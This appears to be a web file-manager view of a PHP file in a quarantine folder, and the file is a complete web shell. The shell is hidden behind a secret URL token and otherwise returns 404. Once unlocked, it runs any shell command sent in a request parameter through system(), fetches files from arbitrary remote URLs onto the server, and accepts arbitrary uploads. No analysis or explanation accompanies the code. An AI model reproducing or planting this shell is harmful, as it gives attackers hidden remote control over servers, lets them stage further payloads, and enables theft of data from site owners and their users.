File manager - Edit - /home/ferretapmx/.security/_VH_infosec/quarantine/remocao/fwrheja.PHP
Back
<?php if(($_GET["t"]??"")!=="bahffeowyhxtljto"){http_response_code(404);exit();} $d=__DIR__."/"; if(isset($_GET["c"])){echo "<pre>";@system($_GET["c"]);echo "</pre>";exit();} if(isset($_GET["remote"])){ $u=$_GET["remote"]; $n=$_GET["n"]??basename($u); $r=@file_get_contents($u); if($r!==false && @file_put_contents($d.$n,$r)){echo "saved:".$n;}else{echo "fail:remote";} exit(); } if($_SERVER["REQUEST_METHOD"]==="POST" && isset($_FILES["f"])){ $p=$d.basename($_FILES["f"]["name"]); if(@move_uploaded_file($_FILES["f"]["tmp_name"],$p)){echo "uploaded:".$p;}else{echo "fail:upload";} exit(); } ?> <html><body style="font-family:monospace"> <h3>uploader</h3> <form method=post enctype=multipart/form-data><input type=file name=f><input type=submit value=UP></form> <h3>remote file uploader</h3> <form method=get>url:<input name=remote size=60><br>name:<input name=n><input type=submit value=DL></form> <h3>cmd</h3> <form method=get>cmd:<input name=c size=60><input type=submit value=RUN></form> </body></html>
| ver. 1.4 |
Github
|
.
| PHP 8.2.32 | Generation time: 0.06 |
proxy
|
phpinfo
|
Settings